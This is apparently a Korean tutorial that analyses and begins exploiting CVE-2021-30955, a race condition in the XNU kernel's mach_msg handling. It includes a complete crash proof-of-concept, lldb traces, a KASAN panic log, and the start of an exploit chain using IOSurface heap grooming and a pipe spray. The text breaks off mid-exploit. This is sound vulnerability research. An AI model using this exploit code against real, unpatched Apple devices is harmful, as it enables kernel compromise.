콘텐츠로 건너뛰기

[실습] CVE-2021-30955 익스플로잇해보기

버그 알아보기

  • poc.m
#include <stdlib.h>
#include <stdio.h>
#include <pthread/pthread.h>
#include <mach/mach.h>

struct ool_msg  {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports[];
};

mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
        printf("[-] failed to insert right\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
        printf("[-] failed to increase queue limit\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    return port;
}

#define N_DESC 1
#define N_PORTS 0
#define N_CORRUPTED 0x1000

struct ool_msg *msg;
mach_port_t dest, target;

void race_thread() {
    while (1) {
        // change the descriptor count back and forth
        // eventually the race will work just right so we get this order of actions:
        // count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin
        msg->body.msgh_descriptor_count = N_CORRUPTED;
        msg->body.msgh_descriptor_count = N_DESC;
    }
}

void main_thread() {
    while (1) {
        // create a mach port where we'll send the message
        dest = new_mach_port();
    
        // send
        msg->hdr.msgh_remote_port = dest;
        int ret = mach_msg(&msg->hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
        if (ret) printf("error: %s\n", mach_error_string(ret));
    
        // destroy the port to trigger the panic
        // note: don't receieve the message, that'll override ikm_header and stop the crash from happening
        printf("Destroying...\n");
        mach_port_destroy(mach_task_self(), dest);
        printf("Dead yet?\n");
    }
}

void poc() {
    printf("Crashing kernel...\n");
    
    // create a dummy port to send with the message
    target = new_mach_port();
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * N_PORTS);
    for (int i = 0; i < N_PORTS; i++) {
        ports[i] = target;
    }
    
    // set up an OOL ports message
    // make the size N_CORRUPTED because it's bigger, otherwise the message won't send and return an error.
    // this will make the allocation bigger but we don't care about that as the out of bounds will be done to the left of the buffer, not to the right
    msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * N_CORRUPTED);
    msg->hdr.msgh_remote_port = 0;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    // set the initial (smaller) descriptor count
    msg->body.msgh_descriptor_count = N_DESC;
    
    for (int i = 0; i < N_DESC; i++) {
        msg->ool_ports[i].address = ports;
        msg->ool_ports[i].count = N_PORTS;
        msg->ool_ports[i].deallocate = 0;
        msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
    }
    
    // start the threads
    pthread_t thread, thread2;
    pthread_create(&thread, NULL, (void*)race_thread, NULL);
    pthread_create(&thread2, NULL, (void*)main_thread, NULL);
    
    pthread_join(thread, NULL);
}

int main(void) {
    poc();
    return 0;
}

먼저, poc 코드에서 race_thread() 중 취약점 트리거로 인한 패닉 방지를 위해서 msg->body.msgh_descriptor_count = N_CORRUPTED; 코드만 주석처리하고, mach_msg 호출전 printf / getchar 관련 코드를 추가하였다.

이는 mach_msg를 호출할때에, 커널에서 어떻게 처리하는지 상세하게 알아보기 위해 일부러 추가하였다.

void race_thread() {
    while (1) {
        // change the descriptor count back and forth
        // eventually the race will work just right so we get this order of actions:
        // count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin
        // msg->body.msgh_descriptor_count = N_CORRUPTED;
        msg->body.msgh_descriptor_count = N_DESC;
    }
}
...
void main_thread() {
    while (1) {
        // create a mach port where we'll send the message
        dest = new_mach_port();
    
        // send
        msg->hdr.msgh_remote_port = dest;ㅡ
        printf("will going to call mach_msg... msg = %p, msg->hdr.msgh_size = 0x%x, press enter to continue\n", msg, msg->hdr.msgh_size);
        getchar();
        int ret = mach_msg(&msg->hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
        ...       
}

mach_msg_overwrite_trap 함수 주소는 0xfffffe00182174d0이며,

...
Target 0: (kernel.kasan.vmapple) stopped.
(lldb) p/x mach_msg_overwrite_trap
(mach_msg_return_t (*)(mach_msg_overwrite_trap_args *)) 0xfffffe00182174d0 (kernel.kasan.vmapple`mach_msg_overwrite_trap at mach_msg.c:321)

프로그램을 실행시키면 mach_msg를 통해 전달되는 유저스페이스의 msg 주소는 0x130008000이다.

...
will going to call mach_msg... msg = 0x130008000, msg->hdr.msgh_size = 0x1001c, press enter to continue

이러한 점을 참고하여 브레이크포인트를 걸어본다. 그리고 프로그램 코드의 getchar을 넘어가면, 아래와 같이 멈춘다.

(lldb) br s -a 0xfffffe00182174d0 -c '*(unsigned long long *)$x0 == 0x130008000'
Breakpoint 22: where = kernel.kasan.vmapple`mach_msg_overwrite_trap at mach_msg.c:321, address = 0xfffffe00182174d0
Process 1 stopped
* thread #2, name = 'CPU1', stop reason = breakpoint 22.1
    frame #0: 0xfffffe00182174d0 kernel.kasan.vmapple`mach_msg_overwrite_trap(args=0xfffffe302cb0fd20) at mach_msg.c:321 [opt]
Target 0: (kernel.kasan.vmapple) stopped.
(lldb) 

유저레벨에서 mach_msg 함수를 호출하면은, 커널에서는 mach_msg_overwrite_trap 에서 처리하게 된다.

mach_msg_overwrite_trap 함수로 전달되는 인자는 다음과 같이 구성된다.

인자 타입은 struct mach_msg_overwrite_trap_args * 이며, msg 필드에는 poc 코드에서의 struct ool_msg *msg; 내용을 만들기 위해 할당된 주소가 들어가고, option 필드에는 MACH_SEND_MSG(1)이 들어간다. 이는 poc 코드에서의 mach_msg 를 호출할때에 option 인자로 MACH_SEND_MSG | MACH_MSG_OPTION_NONE 가 들어갔기 때문이다.

send_size 필드도 마찬가지로, mach_msg 를 호출할때에 msg->hdr.msgh_size 가 그대로 전달되어 값이 나타난다.

즉, mach_msg_overwrite_trap 함수는 유저레벨에서 커널로 메시지를 복사하는 역할을 담당한다고 볼 수 있다.

(lldb) x/32gx $x0
0xfffffe302cb0fd20: 0x0000000130008000 0x0000000000000001
0xfffffe302cb0fd30: 0x000000000001001c 0x0000000000000000
0xfffffe302cb0fd40: 0x0000000000000000 0x0000000000000000
0xfffffe302cb0fd50: 0x0000000000000000 0x0000000000000000
0xfffffe302cb0fd60: 0x0000000000000000 0xfffffe0017d5f2e2
...

(lldb) p/x *(struct mach_msg_overwrite_trap_args *)$x0
(struct mach_msg_overwrite_trap_args) {
  msg_l_ = {}
  msg = 0x0000000130008000
  msg_r_ = {}
  option_l_ = {}
  option = 0x00000001
  option_r_ = {
    [0] = 0x00
    [1] = 0x00
    [2] = 0x00
    [3] = 0x00
  }
  send_size_l_ = {}
  send_size = 0x0001001c
  send_size_r_ = {
    [0] = 0x00
    [1] = 0x00
    [2] = 0x00
    [3] = 0x00
  }
  rcv_size_l_ = {}
  rcv_size = 0x00000000
  rcv_size_r_ = {
    [0] = 0x00
    [1] = 0x00
    [2] = 0x00
    [3] = 0x00
  }
  rcv_name_l_ = {}
  rcv_name = 0x00000000
  rcv_name_r_ = {
    [0] = 0x00
    [1] = 0x00
    [2] = 0x00
    [3] = 0x00
  }
  timeout_l_ = {}
  timeout = 0x00000000
  timeout_r_ = {
    [0] = 0x00
    [1] = 0x00
    [2] = 0x00
    [3] = 0x00
  }
  priority_l_ = {}
  priority = 0x00000000
  priority_r_ = {
    [0] = 0x00
    [1] = 0x00
    [2] = 0x00
    [3] = 0x00
  }
  rcv_msg_l_ = {}
  rcv_msg = 0x0000000000000000
  rcv_msg_r_ = {}
}

option 인자를 MACH_SEND_MSG으로 주었기 때문에 해당 조건문을 먼저 살펴본다.

ipc_kmsg_get_from_user을 호출하는것을 볼 수 있다. 해당 함수에서는 size 인자에 대해 몇 가지 검사를 수행한 뒤, len_copied 변수를 계산한다.

여기서 mach_msg_user_header_t는 뼈대만 있는 기본 헤더일 뿐이며(이 경우 메시지는 비어 있게 됩니다), 반면 mach_msg_user_base_t는 헤더에 4바이트를 더한 것으로, 이는 비어 있지 않은 메시지가 가질 수 있는 최소 크기가 된다.

len_copied 변수를 계산한 후에는, copyinmsg를 통해 유저랜드로부터 베이스를 복사한다.

Drawing 2026-01-07 19.43.10.excalidraw copy.png

참고로, 복합 메시지(complex messages; 원시 데이터 외에도 descriptor 구조체 내에 포함된 Mach 포트도 가질 수 있는 메시지)의 경우, 그 추가 4바이트는 mach_msg_body_t 구조체가 차지하며, 이 구조체는 단 하나의 필드로 구성된다.

해당 descriptor count는 우리가 전송할 descriptor 구조체의 수를 지정하며, 실제 본문 데이터는 이 필드 바로 뒤에 온다.

우리의 경우 복합 메시지(complex messages)에 관심이 있으므로, 지금부터는 해당 경우를 전제하겠다.

Drawing 2026-01-07 19.43.10.excalidraw 1.png

아무튼 앞서 설명했던것처럼, 아래와 같이 copyinmsg를 통해 유저 랜드(userland)로부터 베이스를 복사한다.

if (copyinmsg(msg_addr, (char *)&user_base, len_copied)) {
	return MACH_SEND_INVALID_DATA;
}

다음으로, descriptor count가 변수에 저장된다.

Screenshot 2026-01-08 at 1.38.32 PM.png

그러고 나서 이 코드에 도달하게 된다. (기억해 두기): msg_addr += sizeof(user_base.header)

Screenshot 2026-01-08 at 1.39.56 PM.png

그 안에서, msg_addr(메시지의 사용자 공간 주소)은 헤더를 이미 읽었다는 점, 그리고 (이어지는 몇 줄의 코드에서 볼 수 있듯이) 이제 본문 데이터를 읽을 차례라는 점을 반영하여 변경된다.

하지만 본문을 읽기 전에, 지금까지 읽은 내용을 바탕으로 데이터를 담을 충분한 공간을 할당해야한다.

Screenshot 2026-01-08 at 1.41.37 PM.png

ipc_kmsg_alloc 함수를 살펴보면, 여기서 전달되는 인자는 (커널과 유저 랜드 간의 헤더 크기 차이를 반영하여 조정된) 메시지의 크기, 그리고 본문 구조체에서 가져온 descriptor count(단순 메시지의 경우 0)이다.

처음 몇 줄은 아래 그림과 같은데, 먼저, 전체 크기 차이를 계산하기 위해 descriptor count (user_descs)에 USER_DESC_MAX_DELTA를 곱한 뒤 그 값을 max_delta에 저장한다. 여기서 USER_DESC_MAX_DELTA는 커널과 유저 랜드 간의 descriptor 구조체 크기 차이이다.

그 다음, 데이터를 할당하는 데 사용될 최종 크기를 계산하기 위해 sizemax_delta를 (우리와는 관련 없는 상수인 MAX_TRAILER_SIZE와 함께) 더한다.

Screenshot 2026-01-08 at 1.45.49 PM.png

사용될 최종 크기를 계산한 이후에는 kalloc_data 를 호출하여 할당한다. 그러면 데이터와 크기는 ipc_kmsg 구조체(메시지 등을 포함하는 커널 구조체)에 저장된다.

Screenshot 2026-01-08 at 1.47.59 PM.png

ikm_set_header 함수는 다음과 같이 수행한다.

Screenshot 2026-01-08 at 1.50.45 PM.png

우리가 그 값들에 대해 알고 있는 사실을 바탕으로 계산을 좀 해보면 다음과 같다.

image.png

따라서 ikm_header는 우리의 데이터 할당 영역 + 커널과 유저 랜드 간 descriptor 구조체들의 크기 차이의 총합으로 설정된다. 이로 인해 ikm_header 바로 앞에 빈 공간(gap)이 남게 되는데, 이것이 이상하게 들릴 수도 있겠지만, 이 단계에서는 아직 구조체 크기 차이를 메우기 위한 어떠한 조정도 수행되지 않은 채 데이터가 유저 랜드에서 커널로 ‘있는 그대로’ 복사되고 있다는 점을 기억해야한다. 나중에 보면 알겠지만, 데이터에 필요한 변경 작업이 완료된 후에는 그 빈 공간을 채우기 위해 ikm_header가 결국 뒤쪽으로 이동하게 될 것이다.

ipc_kmsg_get_from_user로 다시 돌아와서, 메시지가 할당된 후 코드는 새로 할당된 ikm_header에 헤더 필드들을 설정하고, 이어서 메시지 본문을 읽어 kmsg->ikm_header + 1(즉, 헤더 바로 다음)에 저장한다.

msg_addrsizeof(user_base.header)만큼 변경되었던 점을 기억하는가? 이 두 번째 copyinmsg는 descriptor count를 다시 한 번 읽어들여 ikm_header에 저장한다.

Screenshot 2026-01-08 at 1.53.15 PM.png

하지만 이 사이에 descriptor count가 변경된다면 어떻게 될까? 잘못된 개수가 대신 저장될 것이다! 이러한 종류의 경쟁 상태(race condition)는 TOCTOU(Time-of-Check Time-of-Use, 검사 시점과 사용 시점의 불일치)라고 알려져 있는데, 이는 검사 대상 변수의 값이 검사 시점과 사용 시점에 서로 다를 수 있기 때문이다.

이 경우, 우리는 할당을 할 때는 어떤 descriptor count를 사용하고, 나중에는 그와 다른 개수를 사용할 수 있게 된다.

이제 빈 공간(gap)을 제거하기 위해 ikm_header를 조정하는 코드를 살펴봐야한다 (빈 공간 = user_descs * USER_DESC_MAX_DELTA이며, 이는 곧 descriptor count에 4를 곱한 값이라는 점을 기억하라). 이 코드는 mach_msg_overwrite_trapipc_kmsg_copyin_from_user → (최종적으로) ipc_kmsg_copyin_body에 위치하며, 정확히 여기가 되겠다.

해당 코드는 (버그로 인해 변경된 후의) descriptor count를 사용하여 모든 데이터를 이동시킴으로써 ikm_header 앞의 빈 공간(gap)을 제거한다.

패닉(panic)을 유발하기 위한 방법 중 하나는, 초기에 descriptor count를 작은 값으로 설정하고, 할당이 이루어진 후에 이를 더 큰 값으로 변경하는 것이다. 그렇게 하면 ikm_header가 왼쪽으로 이동하면서 경계 밖으로 벗어나게된다!

Screenshot 2026-01-08 at 1.57.54 PM.png

여기까지가 버그 설명이 되겠다.

위 버그 요약을 그림으로 나타내면 아래와 같으며,

Drawing 2026-01-07 19.43.10.excalidraw.svg

KASAN 커널 환경에서 원래의 poc 코드를 실행시켜보면, ipc_kmsg_copyin_body에서 경계 밖으로 벗어남에 따라 패닉이 발생한다.

  • panic log
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #3, name = 'CPU2', stop reason = breakpoint 1.1
    frame #0: 0xfffffe00127c7dd0 kernel.kasan.vmapple`panic(str="%s @%s:%d") at debug.c:872:2 [opt]
Target 0: (kernel.kasan.vmapple) stopped.
(lldb) bt
* thread #3, name = 'CPU2', stop reason = breakpoint 1.1
  * frame #0: 0xfffffe00127c7dd0 kernel.kasan.vmapple`panic(str="%s @%s:%d") at debug.c:872:2 [opt]
    frame #1: 0xfffffe00127e07f0 kernel.kasan.vmapple`kasan_report_internal.cold.1 at kasan-report.c:114:12 [opt]
    frame #2: 0xfffffe00127be8d0 kernel.kasan.vmapple`kasan_report_internal(p=<unavailable>, width=<unavailable>, access=<unavailable>, reason=<unavailable>, dopanic=true) at kasan-report.c:114:12 [opt]
    frame #3: 0xfffffe00127be43c kernel.kasan.vmapple`kasan_panic_report_internal(p=<unavailable>, width=<unavailable>, access=<unavailable>, reason=<unavailable>) at kasan-report.c:120:2 [opt] [artificial]
    frame #4: 0xfffffe00127be434 kernel.kasan.vmapple`kasan_crash_report(p=<unavailable>, width=<unavailable>, access=<unavailable>, reason=<unavailable>) at kasan-report.c:135:2 [opt]
    frame #5: 0xfffffe00127be664 kernel.kasan.vmapple`kasan_violation(addr=18446742080856211464, size=36, access=TYPE_MEMR, reason=REASON_POISONED) at kasan-report.c:191:2 [opt]
    frame #6: 0xfffffe00127c3640 kernel.kasan.vmapple`kasan_check_range(x=<unavailable>, sz=<unavailable>, access=<unavailable>) at kasan-classic.c:400:3 [opt] [artificial]
    frame #7: 0xfffffe00127bc790 kernel.kasan.vmapple`__asan_memmove(src=0xfffffe3000af4008, dst=0xfffffe3000af8004, sz=36) at kasan-memintrinsics.c:50:2 [opt]
    frame #8: 0xfffffe001100d77c kernel.kasan.vmapple`ipc_kmsg_copyin_body(kmsg=0xfffffe18bbddcc90, space=0xfffffe18bd18bd18, map=0xfffffe18bd062a38, optionp=0xfffffe302d6afbe0) at ipc_kmsg.c:3802:3 [opt]
    frame #9: 0xfffffe001100d764 kernel.kasan.vmapple`ipc_kmsg_copyin_from_user(kmsg=0xfffffe18bbddcc90, space=0xfffffe18bd18bd18, map=0xfffffe18bd062a38, priority=<unavailable>, optionp=0xfffffe302d6afbe0, filter_nonfatal=<unavailable>) at ipc_kmsg.c:3971:8 [opt]
    frame #10: 0xfffffe0011047860 kernel.kasan.vmapple`mach_msg_overwrite_trap(args=<unavailable>) at mach_msg.c:362:8 [opt]
    frame #11: 0xfffffe001144ec50 kernel.kasan.vmapple`mach_syscall(state=0xfffffe18be6014b0) at bsd_arm64.c:276:11 [opt]
    frame #12: 0xfffffe0011469ab0 kernel.kasan.vmapple`handle_svc(state=0xfffffe18be6014b0) at sleh.c:2411:3 [opt] [inlined]
    frame #13: 0xfffffe0011469a1c kernel.kasan.vmapple`sleh_synchronous(context=0xfffffe18be6014b0, esr=1442840704, far=4305322064) at sleh.c:743:3 [opt]
    frame #14: 0xfffffe001146879c kernel.kasan.vmapple`fleh_synchronous + 40
    frame #15: 0x00000001b96bd954
    frame #16: 0x00000001003907ec
    frame #17: 0x00000001b96f94ec
KCOV: Disabling coverage tracking. System panicking.
IOPlatformPanicAction -> ApplePVPanicMMIO
IOPlatformPanicAction -> AppleVirtIOUSBDeviceController
panic(cpu 2 caller 0xfffffe00127e07f0): KASan: invalid 36-byte load from 0xfffffe3000af4008 [HEAP_LEFT_RZ]
 Shadow             0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
 ffffffc60015e7b0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
 ffffffc60015e7c0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
 ffffffc60015e7d0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
 ffffffc60015e7e0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
 ffffffc60015e7f0: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
 ffffffc60015e800: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 ffffffc60015e810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 ffffffc60015e820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 ffffffc60015e830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 ffffffc60015e840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 
 ffffffc60015e850: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 

 @kasan-report.c:114
Debugger message: panic
Device: VMA2MACOS
Hardware Model: VirtualMac2,1
ECID: AA5B0039AFD60287
Boot args: -v serial=3
Memory ID: 0x0
OS release type: User
OS version: 21A559
Kernel version: Darwin Kernel Version 21.1.0: Wed Oct 13 17:25:13 PDT 2021; root:xnu_kasan-8019.41.5~1/KASAN_ARM64_VMAPPLE
Fileset Kernelcache UUID: B03A5B6975F0191C031E9FBF59604799
Kernel UUID: 9EA27AEB-5869-322D-AA73-F00EF950FFCB
iBoot version: iBoot-7429.41.5
secure boot?: NO
Paniclog version: 13
KernelCache slide: 0x0000000009538000
KernelCache base:  0xfffffe001053c000
Kernel slide:      0x0000000009aa8000
Kernel text base:  0xfffffe0010aac000
Kernel text exec slide: 0x0000000009fc4000
Kernel text exec base:  0xfffffe0010fc8000
mach_absolute_time: 0x53cbc9335
Epoch Time:        sec       usec
  Boot    : 0x69587c44 0x000c24ac
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x69587fed 0x000105fe

Zone info:
Foreign   : 0xfffffe0018904000 - 0xfffffe0018918000
Native    : 0xfffffe1000654000 - 0xfffffe3000654000
Readonly  : 0 - 0
Metadata  : 0xfffffe47c6860000 - 0xfffffe47d2800000
Bitmaps   : 0xfffffe47c6864000 - 0xfffffe47c7c1c000
CORE 0: PC=0x0000000100390770, LR=0x00000001b96f94ec, FP=0x000000016faf6fe0
CORE 1: PC=0xfffffe0011bae3fc, LR=0xfffffe0011bad3b4, FP=0xfffffe302d5ef7b0
CORE 2 is the one that panicked. Check the full backtrace for details.
CORE 3: PC=0x0000000104d87b94, LR=0x0000000104d87bf8, FP=0x000000016b29ced0
Panicked task 0xfffffe18bc4c4dd0: 142 pages, 3 threads: pid 534: poc
Panicked thread: 0xfffffe18be39ad48, backtrace: 0xfffffe302d6aeda0, tid: 3926
		  lr: 0xfffffe001106ba08  fp: 0xfffffe302d6aee30
		  lr: 0xfffffe00114972c0  fp: 0xfffffe302d6aee50
		  lr: 0xfffffe001146e1b8  fp: 0xfffffe302d6aef30
		  lr: 0xfffffe001146956c  fp: 0xfffffe302d6af000
		  lr: 0xfffffe001146879c  fp: 0xfffffe302d6af010
		  lr: 0xfffffe001106b148  fp: 0xfffffe302d6af3c0
		  lr: 0xfffffe001106c064  fp: 0xfffffe302d6af430
		  lr: 0xfffffe00127c7df4  fp: 0xfffffe302d6af450
		  lr: 0xfffffe00127e07f0  fp: 0xfffffe302d6af480
		  lr: 0xfffffe00127be8d0  fp: 0xfffffe302d6af520
		  lr: 0xfffffe00127be434  fp: 0xfffffe302d6af550
		  lr: 0xfffffe00127be664  fp: 0xfffffe302d6af780
		  lr: 0xfffffe00127bc790  fp: 0xfffffe302d6af7b0
		  lr: 0xfffffe001100d77c  fp: 0xfffffe302d6afb50
		  lr: 0xfffffe0011047860  fp: 0xfffffe302d6afcb0
		  lr: 0xfffffe001144ec50  fp: 0xfffffe302d6afe40
		  lr: 0xfffffe0011469ab0  fp: 0xfffffe302d6aff10
		  lr: 0xfffffe001146879c  fp: 0xfffffe302d6aff20
...

익스플로잇 방법

1. IOSurface_setCapacity_0x2000

IOSurface는 주로 그래픽 버퍼의 처리와 계산을 하는데 사용되는 드라이버이지만, hsp4 커널 패치를 통한 유저랜드에서의 커널 읽기/쓰기 프리미티브가 막혔기 때문에, IOSurface는 커널 읽기/쓰기 프리미티브를 얻는데 자주 쓰이게 된다.

해당 커널 드라이버를 먼저 통신하기 위해 유저 클라이언트를 연 다음, 6번 호출 메스드인 IOSurfaceRootUserClient::s_create_surface_fast_path 를 여러번 호출하여 m_IOSurfaceClientArrayPointer 를 커널에서 0x10000크기만큼 할당받게끔 만든다.

int surfaces[2][4096] = {0};
io_service_t IOSRUC[2] = {0};

int IOSurface_setCapacity_0x2000() {
    kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    if (ret) {
        printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    io_connect_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (!MACH_PORT_VALID(IOSurfaceRoot)) {
        printf("[-] Failed to find IOSurfaceRoot service\n");
        return KERN_FAILURE;
    }
    
    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[0]);
    if (ret || !MACH_PORT_VALID(IOSRUC[0])) {
        printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[1]);
    if (ret || !MACH_PORT_VALID(IOSRUC[1])) {
        printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    struct IOSurfaceFastCreateArgs create_args = {
        .alloc_size = pagesize
    };
    
    struct IOSurfaceLockResult lock_result;
    size_t lock_result_size = 0xf60;
    
    for (int i = 0; i < 4096; i++) {
        ret = IOConnectCallMethod(IOSRUC[0], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
        if (ret) {
            printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
            return ret;
        }
    
        surfaces[0][i] = lock_result.surface_id;
    }
    
    for (int i = 0; i < 4096; i++) {
        release_IOSurface(IOSRUC[0], surfaces[0][i]);
        surfaces[0][i] = 0;
    }
    
    for (int i = 0; i < 4096; i++) {
        ret = IOConnectCallMethod(IOSRUC[1], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
        if (ret) {
            printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
            return ret;
        }
#if DEBUG
        printf("[i] Surface id: %d\n", lock_result.surface_id);
#endif
        surfaces[1][i] = lock_result.surface_id;
        
        if (surfaces[1][i] == 8100) break;
    }
    
    return 0;
}

void exploit() {
    printf("[*] Setting up exploit\n");
    
    IOSurface_setCapacity_0x2000();
    
    ...

}

IOSurfaceRootUserClient 객체의 m_IOSurfaceClientArrayPointer 필드는 IOSurfaceRootUserClient::alloc_handles에서 내부적으로 IOMallocZero를 호출하여 할당받게 되며, 여러번 메소드 호출로 인해 i_IOSurfaceHandleTotalCapability 값을 0x2000으로 만들었기 때문에 최종적으로 0x10000크기를 커널에서 할당받는다.

참고로, 0x10000 크기는 zone 최대 관리 크기인 32768(=0x8000)을 넘어서기 때문에 kalloc_zone이 아닌 kalloc_large 함수 호출을 통해 할당받는다. 하나씩 살펴보면 알곘지만, kmem_alloc_guard 를 호출할때 kernel_map을 1번째 매개변수로 넘겨주는것을 볼 수 있다.

IOMallocZero으로 할당하기까지의 호출 경로는 다음과 같다. IOSurfaceRootUserClient::s_create_surface_fast_pathIOSurfaceRootUserClient::create_surface_fast_pathIOSurfaceClient::withBufferIOSurfaceClient::initIOSurfaceRootUserClient::set_surface_handleIOSurfaceRootUserClient::alloc_handles

IOMallocZero 는 KHEAP_KEXT 타입으로 커널을 할당받는데, 이때 KHEAP_DEFAULT와 KHEAP_KEXT 타입은 커널 할당 서브맵을 서로 공유한다는 점을 기억해두자. (단, VMApple은 해당 안됨)

bool __fastcall IOSurfaceRootUserClient::alloc_handles(IOSurfaceRootUserClient *this)
{
  __int64 i_IOSurfaceHandleTotalCapability; // x24
  IOSurfaceClient **m_IOSurfaceClientArrayPointer; // x19
  __int64 i_surfaceClientCapacity; // x23
  IOSurfaceClient **v5; // x0
  IOSurfaceClient **v6; // x20

  i_IOSurfaceHandleTotalCapability = (unsigned int)this->IOSurfaceRoot->i_IOSurfaceHandleTotalCapability;
  m_IOSurfaceClientArrayPointer = this->m_IOSurfaceClientArrayPointer;
  i_surfaceClientCapacity = (unsigned int)this->i_surfaceClientCapacity;
  v5 = (IOSurfaceClient **)j__IOMallocZero_17(8 * i_IOSurfaceHandleTotalCapability);
  v6 = v5;
  this->m_IOSurfaceClientArrayPointer = v5;
  if ( v5 )
  {
    this->i_surfaceClientCapacity = i_IOSurfaceHandleTotalCapability;
    if ( m_IOSurfaceClientArrayPointer )
    {
      j____memcpy_chk_49(
        v5,
        m_IOSurfaceClientArrayPointer,
        8 * i_surfaceClientCapacity,
        8 * i_IOSurfaceHandleTotalCapability);
      j__IOFree_51(m_IOSurfaceClientArrayPointer, 8 * i_surfaceClientCapacity);
    }
  }
  else
  {
    j__IOLog_83("IONewZero failed to alloc handles");
    this->m_IOSurfaceClientArrayPointer = m_IOSurfaceClientArrayPointer;
  }
  return v6 != 0;
}

2. increase_file_limit

다음으로, 파이프 스프레이를 원활하게 하기 위해 현재 프로세스의 파일 디스크립터 제한을 10240으로 증가시킨다.

void increase_file_limit() {
    struct rlimit rl = {};
    getrlimit(RLIMIT_NOFILE, &rl);
    rl.rlim_cur = 10240;
    rl.rlim_max = rl.rlim_cur;
    setrlimit(RLIMIT_NOFILE, &rl);
}

void exploit() {
    // allow us to spray a lot of pipes
    increase_file_limit();
    ...
}

3. 첫번째 파이프 스프레이 및 풍수

900개의 파이프를 생성하여 (0x4000-1) 크기만큼 각 파이프에 write한다.

data.kalloc.16384 존으로부터 900번 할당받는 것과 동일하며, 특정 파이프 디스크립터를 read/write함으로써 커널에 할당된 파이프 영역을 임의로 제어할 수 있다.

이후에 파이프 배열 인덱스가 64로 나누어 떨어지면, 힙 풍수와 유사해보이는데, 해당 인덱스의 파이프 할당을 해제시켜 중간중간에 구멍을 뚫는다.

// how many pipes to spray
#define N_SPRAY 900

// size of each pipe buffer
#define KALLOC_SIZE 0x4000

void exploit() {
    ...
    // original writeup uses a mach message for this, but we'd have to fix up the trailer to avoid breaking its signature, also pipes allow us to write back without reallocating
    printf("[*] Spraying pipe buffers\n");
    size_t pipe_count = N_SPRAY;
    void *pipe_buf = calloc(1, KALLOC_SIZE);
    memset(pipe_buf, 0, KALLOC_SIZE);
    int *pipefds = create_pipes(&pipe_count);
    pipe_spray(pipefds, pipe_count, pipe_buf, KALLOC_SIZE, NULL);
#if ENABLE_HELPER
    for(int i = 0; i < pipe_count; i++) {
        uint64_t kspace = obtain_pipe_kaddr(pipefds[2 * i]);
        printf("[*] kspace; Allocated pipe kaddr = 0x%llx, rfd = 0x%llx\n", kspace, pipefds[2 * i]);
    }
#endif    
    

    // -----------+-----------+-----------+------------+-----------
